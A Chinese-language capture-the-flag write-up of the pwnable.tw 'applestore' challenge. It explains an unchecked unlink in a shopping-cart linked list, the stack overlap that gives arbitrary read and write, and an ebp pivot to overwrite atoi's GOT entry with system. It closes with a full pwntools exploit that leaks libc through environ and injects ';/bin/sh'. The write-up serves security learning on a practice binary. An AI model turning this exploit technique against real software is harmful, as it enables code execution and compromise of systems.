pwnable.tw applestore伪堆(程序自行实现的无检查unlink栗子)

题目分析

本来是想自己打穿的,一顿分析,毫无思路。。。。
so
这个程序把手机加入购物车,事实上就是把节点加入双向链表,提供了自写的删除功能,和古老的unlink一毛一样(我都看出来了还是不会做,对栈的理解还不到位)
当我们购物车中商品价格恰好凑齐7174时
结算时会自动以1元将一部iphone8放入购物车
iPhone8对应的这个节点在栈中
位置在:ebp-20h
退出checkout时,调用下一个函数,这个节点依然在后面函数的ebp-20h
关注my_read函数:
使用read读入输入流,而read读入时遇到\x00是不会停止
而调用my_read的函数(cart/delete),用于存入输入流的位置都在:
ebp-22h
恰好可以覆盖ebp-20h(两个字节用来填删除哪一个链表)

收获:同级函数的栈数据在被覆盖前可以共用,因此在read函数存在超出合理长度但又无法直接控制ebp eip的时候可以多一条路。看看其它同级函数是不是存在可覆盖利用的数据

到此位置,任意地址读写已经达成,当然存在一些坑,比如说直接日got表不可行,unlink修改的要求是修改的value值附近也要可写,system函数附近明显不可写
于是就有了网上优雅的方法
我们可以通过修改delete时的栈中handleebp地址
使它指向atoi_got_addr+0x22,那么delete返回时handleebp指向atoi_got_addr+0x22,存储输入流的地址为ebp-0x22,即:atoi_got_addr
这时候,我们便可利用my_read来使用输入流覆盖.got表中atoi对应地址为system_addr,并将参数"/bin/sh"传入,不过此处参数为输入流存储的开始地址,即system_addr+"/bin/sh",所以这里我们使用一下参数截断输入";/bin/sh\x00"或者"||/bin/sh\x00"(这玩意不是参数截断,是或的意思,第一个参数失败了才会启用第二个参数也就是||后面的参数)

收获:为ublink修改值附近地址不可写提供了新思路,即通过ebp做跳板,使用其它同级函数中的输入流控制真正想要修改的地址

exp

from pwn import *

def insert(n):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(n)
    p.recvuntil("amazing idea.\n")
def delete(n):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(n)
def checkout():
    p.recvuntil("> ")
    p.sendline("5")
    p.recvuntil("> ")
    p.sendline("y")
    p.recvuntil("Maybe next time!\n")
def cart(n):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline("y\x00" + p32(n) + p32(0)*3)
    p.recvuntil("27: ")

#p = remote("139.162.123.119",10104)
p=process("./applestore")
#p.interactive()
elf=ELF("./applestore")
elib = ELF("/lib/i386-linux-gnu/libc-2.23.so")
atoi_got_addr = elf.got["atoi"]

for i in range(6):
    insert("1")
for i in range(20):
    insert("2")
checkout()
cart(atoi_got_addr)
atoi_addr = u32(p.recvuntil("\n")[:4])
environ_bss = atoi_addr - elib.symbols['atoi'] + elib.symbols['environ']
cart(environ_bss)
environ_addr = u32(p.recvuntil("\n")[:4])
system_addr = atoi_addr - elib.symbols['atoi'] + elib.symbols['system']

ebp_addr = environ_addr - 0x104
ebp_new_addr = ebp_addr - 0xc

p.recvuntil("> ")
p.sendline("3")
p.recvuntil("> ")
p.sendline("27" + p32(atoi_got_addr+1) + "aaaa" + p32(ebp_new_addr) + p32(atoi_got_addr + 0x22))
p.recvuntil("> ")
p.sendline(p32(system_addr)+";/bin/sh\x00")
p.interactive()

你可能感兴趣的:(pwnable.tw applestore伪堆(程序自行实现的无检查unlink栗子))